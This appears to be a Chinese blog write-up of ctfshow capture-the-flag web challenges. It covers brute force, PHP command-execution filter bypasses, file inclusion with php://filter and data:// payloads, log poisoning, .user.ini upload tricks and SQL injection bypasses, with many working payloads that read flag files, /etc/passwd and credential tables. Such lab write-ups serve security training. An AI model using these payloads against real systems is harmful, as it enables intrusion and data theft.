ctfshow刷题记录


爆破

web21

1

通过抓包发现basic 猜测是base64,解密后得到 admin:admin

2

对于admin:admin抓包,我们设置1的时候把admin:圈上了,所以后面,这里要加一个:

3

顺序也不能乱,先设置 add Suffix: 在设置加密

4

查看回显包。

5

命令执行

web29

6

  1. get c,如果不为flag,去执行c,PHP代码执行c。这个题过滤掉了flag字符。
  2. ?c=phpinfo(); 或者 ?c=phpinfo()?> ?c=system(‘ls’);
  3. c=file_get_contents(“) ?c=system(“cp flag.php 1.txt”); ?c=system(“cp fla?.php 1.txt”);
  4. 换成?为什么换成? 因为在shell里面 ?站一个占位符,和正则有点相似,*代表多个,?代表一个。
  5. /1.txt

web30

 <?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:  2020-09-04 00:12:34# @Last Modified by:  h1xa# @Last Modified time: 2020-09-04 00:42:26# @email: h1xa@ctfer.com# @link: https://ctfer.com*/ 
                error_reporting(0);
                if(isset($_GET['c'])){  
                        $c = $_GET['c'];       
                        if(!preg_match("/flag|system|php/i", $c)){
                            eval($c); }
                }else{
                            highlight_file(__FILE__);
                }        

  1. 还是命令执行,多了一个PHP
  2. /?c=cp fla?.??? 1.txt;
  3. 为什么这样可以?
  4. 反引号 在PHP里面代表的是和system类似的,类似于shell执行。因为这里php过滤了,用???占位符代表
  5. 因为知道flag.php——->fla?.???表示

web31

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:  2020-09-04 00:12:34# @Last Modified by:  h1xa# @Last Modified time: 2020-09-04 00:42:26# @email: h1xa@ctfer.com# @link: https://ctfer.com*/
                error_reporting(0);
                if(isset($_GET['c'])){
                        $c = $_GET['c'];           
                        if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
                        
                eval($c);
                }
                }else{    highlight_file(__FILE__);
                }              
  1. 过滤了很多,用嵌套eval执行
  2. ?c=eval($_GET[1]);&1=phpinfo(); get第一个参数。1相当于参数逃逸出去了不属于c。可以任意使用代码禁掉的关键字。
  3. ?c=eval($_GET[1]);&1=system(‘ls’); ?c=eval($_GET[1]);&1=system(‘cat flag.php’);
  4. 在php中查看源代码才能看见,
  5. 倒序,?c=eval($_GET[1]);&1=system(‘tac flag.php’);
  6. 反过来读代码。
  7. 将c参数用一个跳板,把c参数用另一个参数去执行。

web32

更多过滤,把;和左边的(、`` , ‘等等都过滤了,用逃逸去做,

没用空格的情况,用URL编码去绕过,没有;最后一个语句可以不用;

?c=include%0a$_GET[1];&1=/etc/passwd 没有包含成功

?c=include%0a$_GET[1]?>&1=/etc/passwd 通过文件包含来读取非PHP的文本文件。

?c=include%0a$_GET[1]?>&1=flag.php 是看不到,虽然包含了,但是没有输出flag的变量。

?c=include%0a$_GET[1]?>因为没又用;分割,所以造成了无法输出。

文件包含?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

使用了一个文件包含的方法,通过base64的编译去读取flag.php

伪协议,通过指定的通道,filter通道,通道是base64-encode。

整体,我读到的资源用base64编码,如果不用base64的话,会看不到源文件的。

解码。

web33

多过滤了一个双引号。前面的方法能接出来,用另外一个方法。

?c=require%0a$_GET[1]?>&1=/etc/passwd

?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

思路是一样,用到的代码不同,

web34

多过滤了一个;为了过滤直接伪协议的参数,

都过滤了,只能使用语言结构, echo print isset unset include require常用的语言结构

这几个语言结构是不用括号的,用

?c=print%0a$_GET[1]?>&1=phpinfo(); 结果是php引发的字符,和二进制相似,存在代码空间和数据空间

二进制里面有代码段,和数据段,这里phpinfo属于数据段,不在代码段,所以执行不了,作为一个字符串来执行。

?c=eval%0a$_GET[1]?>&1=phpinfo(); 这里行不通eval在这里必须用括号才能执行,所以eval行不通

?c=include%0a$_GET[1]?>&1=/etc/passwd 在这里属于文件读取,不属于代码执行

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

=、<进行了限制。

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36

不让用数字了,把1换成a即可

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

字母可以不用’’单引号

web37

?c=$_GET[1]&1=flag.php 属于数据段,包含了字符串,不能解析这个字符串

?c=php://filter/convert.base64-encode/resource=flag.php 不行

?c=data://text/plain, 可以执行,因为data协议,把后面的数字,字符作为php代码去执行。

?c=data://text/plain, 不行

?c=data://text/plain, 不行

?c=data://text/plain, 复制办法,过滤掉了flag字符,用?去占位

data伪协议利用。

web38

过滤了php和file

?c=data://text/plain, 这种写法不行

?c=data://text/plain, 这种方法,叫做短标签。

web39

没有回显了,后面强制加了后缀。.php

?c=data://text/plain,.php 完整代码是这样

下面会出现1.php,phpinfo返回值是1,就是1.php,

?c=data://text/plain,.php 会出现2.php.php

如果 把.php去掉就出现2.php

?c=data://text/plain,

web40

过滤了许多符号,没有过滤字母,没有过滤分号,没有过滤下划线

show_source(next(array_reverse(scandir(pos(localeconv())))));

​ 需要用到的函数 localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) pos():返回数组中的当前元素的值。 array_reverse():数组逆序 scandir():获取目录下的文件 next(): 函数将内部指针指向数组中的下一个元素,并输出。 首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以 scandir(pos(localeconv()))就能得到flag.php了。具体内容如下

localeconv:是一个包含了与数字和货币有关的区域设置信息的结构体

pos:取这个点

scandir:扫描当前目录

array_reverse:把目录的结果进行翻转

next:取下一个

show_source:显示源码。

老方法用不成

?c=print_r(get_definde_vars()); 打印当前的变量;

加一个post值,我们要拿到他的字符串phpinfo();能执行这个字符串,就能rce

?c=print_r(next(get_definde_vars())); 拿到了数组,

对数组进行一个弹出 ?c=print_r(array_pop(next(get_definde_vars())));

得到结果phpinfo

?c=eval(array_pop(next(get_definde_vars()))); 执行数组;

payload: ?c=print_r(next(array_reverse(scandir(pos(localeconv()))))); //打印文件

?c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); //highlight读取文件

web41

过滤了部分字符,数字,字母、`` + 作为一个php代码的执行

通过特殊字符构造出来一个字母去代码执行。

web42

payload: ?c= tac f* ||

web43

payload: ?c= tac f* ||

web44

对比上几题,多了一个对flag关键字的过滤,这里可以用通配符*?代替

cat fla?.p? ?表示一个通配符, *表示匹配多个通配符

payload: ?c=tac f* ||

web45

这里对空格进行了过滤,用转义字符%09绕过即可

payload:?c=tac%09f*%09||

web 46

payload: ?c=tac%09fla?.???||

文件包含

web 78

php伪协议,插件利用。

?file=php://filter/convert.base64-encode/resource=flag.php

解密得到的结果。

web 79

php data协议,data://text/plain;base64,

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

7

大写php 绕过,

2、日志文件包含:

访问日志文件记录了服务器收到的每一次请求的

IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号无法包含其中,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。

访问日志的位置和文件名在不同的系统上会有所差异

apache一般是/var/log/apache/access.log nginx的log在/var/log/nginx/access.log/var/log/nginx/error.log

构造:?file=/var/log/nginx/access.log, c

ca成访问

成功访问。

8

web 80

日志包含

首先在UA头里面插入一句话

9

接着包含日志文件并利用一句话

10

web 81

日志包含

文件上传

web 151

抓包改掉后缀直接上传,连接访问。

web152

抓包改掉后缀直接上传,连接访问。

web153

使用.user.ini

指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)所以要求当前目录必须要有php文件

上传.user.ini内容为auto_append_file="xxx" xxx为上传文件名字 上传.user.ini文件内容为: GIF89a auto_prepend_file=1.png 然后再上传一句话1.png

11

12

13

sql注入

web 171

//拼接sql语句查找指定ID用户

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";     

点击查询发现存在三个字段,所以就不用order by 去查询字段了,注意语句闭合。

 'union select 1,database(),3 --

  'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- +

 'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' -- qwe

 'union select 1,username,password from ctfshow_user -- qwe     

​         

web172

查询语句

​ //拼接sql语句查找指定ID用户

 $sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";    

返回逻辑

​ //检查结果是否有flag

   if($row->username!=='flag'){   

   $ret['msg']='查询成功'; 

   }        

第 二题看出查询的数据不包含flag,并且给出了数据库是ctfshow_user2

从语句中看,判断有两列’union select 1,2 -- + 有回显

payload: 'union select to_base64(username),hex(password) from ctfshow_user2 -- +

最后一行解码是flag

web173

与172一样,只是173三列都有回显,

payload:'union select 1,hex(username),hex(password) from ctfshow_user3 -- +

payload: 'union select 1,to_base64(username),to_base64(password) from ctfshow_user3 where username='flag' limit 1,1 -- A

web174

过滤了不能有数字,

         //检查结果是否有flag 
         if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
         $ret['msg']='查询成功';
         }
         payload:    'union select 1,to_base64(username),to_base64(password) from ctfshow_user3 where username='flag' limit 1,1 -- A
         替换username: replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')
         替换password replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')  ' union slect replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' limit 1,1 -- A         

web 175

0-127不让输出,不让输出到页面,

'union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt' -- A

web 176

过滤注入,先试一下,看过滤了什么。

' union select 1,2,3 from ctshow_user limit 1 --A

大小写试一下,

' union sElect 1,2,password from ctshow_user where username='flag' limit 1,1 --A

web 177

' union select 1,2,3 from ctshow_user limit 1 --A

1’ and 1=1 %23 没有数据

1 ' and (1 = 1)%23没有数据

1'and(1=1)%23有数据

1’%23有数据

那就是应该是吧空格给过滤掉了

反引号也可以作为条件空格。

paylaod:'/**/union/**/select/**/1,2,password/**/from/**/ctshow_user/**/where/**/username='flag'/**/limit/**/1,1/**/%23

paylaod:'/**/union/**/select/**/1,2,password/**/fromctshow_userwhereusername='flag'limit/**/1,1/**/%23

web178

在mysql中table键可以作为空格来做 ascii %09为table键

1' or 'a'='a 无数据

1’or’a’=’a 有数据

判断还是过滤了空格,

1/**/'or'a'='a 无数据

1/1/'or'a'='a 异常,过滤了号, 绕过号。

1'%09and'a'='a 成功

'%09union%09select%091,2,password%09from%09ctfshow_user%09where username='flag' limit%091,1%09-- A

web179

1'%0aand'a'='a 1'%0band'a'='a 1’%0cand’a’=’a 几个换表符号

%0c 能用。

web180

1'%0dand'a'='a 1’%00and’a’=’a测试

所用空格都给过滤掉了,

id=26因为之前的几个flag都在id中

直接()包含一下

11111报错后面执行。

11111'or(id=26)and'a'='a

web181

跟上面一样。

web182

跟上面一样

web183

POST 提交的tableName

hackbar post提交

regexp()正则,

tableName=ctfshow_userwhere pass regexp('fl') 匹配到了数量是一

tableName=ctfshow_userwhere(substr(pass,1,1)regexp('f'))

where(substr(pass,1,1)regexp('f'))

tableName=ctfshow_userwhere(substr(username,1,1)regexp(‘f’))

tableName=ctfshow_userwhere(substr(username,{},1)regexp(\'{}\'))

(ctfshow)where(substr(pass,1,1))regexp('f')

flag{0ff62daa-bc2c-4909-bbcc-a849c7e5e46b}

flag{0ff62daa-bc2c-4909-bbcc-a849c7e5e46b}

web184

过滤了很多关键字,盲注,时间都过滤了;

tableName=ctfshow_user as a right join ctfshow_user as b on substr(pass,1,1)regexp('f')

单引号突破regexp(chr(0x66))

tableName=ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,1,1)regexp(char(102)))

成功执行。


文章作者: yunhea
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yunhea !
评论
评论
  目录